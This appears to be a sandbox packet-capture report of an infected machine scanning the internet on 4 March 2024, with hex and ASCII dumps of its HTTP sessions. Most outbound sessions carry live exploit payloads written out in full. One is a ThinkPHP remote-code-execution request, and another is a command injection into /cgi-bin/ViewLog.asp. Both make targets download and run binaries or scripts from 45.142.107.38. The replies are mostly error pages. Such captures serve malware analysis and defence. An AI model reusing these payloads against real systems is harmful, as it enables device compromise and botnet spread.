3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title><style>@media (prefers-color-scheme:dark){body{background-color:#000!important}}</style></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
362	192.168.2.13	49802	112.187.210.175	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:13.316936970 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:14.871007919 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:15.186928988 CET	243	IN	HTTP/1.0 404 Not Found Content-type: text/html Date: Mon, 04 Mar 2024 14:07:13 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL was not found</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
363	192.168.2.13	46368	88.99.33.190	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:13.371897936 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:13.548644066 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:07:13 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {
Mar 4, 2024 15:07:13.548665047 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Mar 4, 2024 15:07:13.548743010 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Mar 4, 2024 15:07:13.548772097 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Mar 4, 2024 15:07:13.548809052 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Mar 4, 2024 15:07:13.548844099 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Mar 4, 2024 15:07:13.548877001 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Mar 4, 2024 15:07:13.548985004 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to server.elcuk.com's <a href="mailto:server@ez128.co
Mar 4, 2024 15:07:13.549006939 CET	339	IN	Data Raw: 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 65 74 3d 22 63 70 61 6e 65 6c 22 20 74 69 74 6c 65 3d 22 63 50 61 6e 65 6c 2c 20 49 6e 63 2e 22 3e 0a 20 20 20 20 20 20 20 20 20 Data Ascii: logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="copyright">Copyright 2016 cPanel, Inc.<

Session ID	Source IP	Source Port	Destination IP	Destination Port
364	192.168.2.13	52998	88.216.161.122	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:13.391285896 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:13.606179953 CET	364	IN	HTTP/1.1 505 HTTP Version not supported Content-Type: text/html; charset=utf-8 Content-Length: 140 Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 35 20 48 54 54 50 20 56 65 72 73 69 6f 6e 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>505 HTTP Version not supported</title></head><body><center><h1>505 HTTP Version not supported</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
365	192.168.2.13	52534	88.149.138.185	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:13.735040903 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:13.924295902 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
366	192.168.2.13	43288	95.183.196.97	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:14.234142065 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
367	192.168.2.13	49584	88.215.140.78	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:14.556905985 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
368	192.168.2.13	46640	112.171.211.195	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:14.834116936 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:07:15.152528048 CET	243	IN	HTTP/1.0 404 Not Found Content-type: text/html Date: Mon, 04 Mar 2024 14:07:14 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL was not found</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
369	192.168.2.13	49816	112.187.210.175	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:14.931442976 CET	236	IN	HTTP/1.0 400 Bad Request Content-type: text/html Date: Mon, 04 Mar 2024 14:07:12 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Unsupported method</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.13	56494	31.136.95.45	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:07:15.277455091 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:15.863275051 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:17.014981031 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:19.414958954 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:24.023178101 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:33.238970041 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:52.695014954 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:08:29.558857918 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.13	40212	85.163.21.13	8080

Timestamp	Bytes transferred	Direction	Data
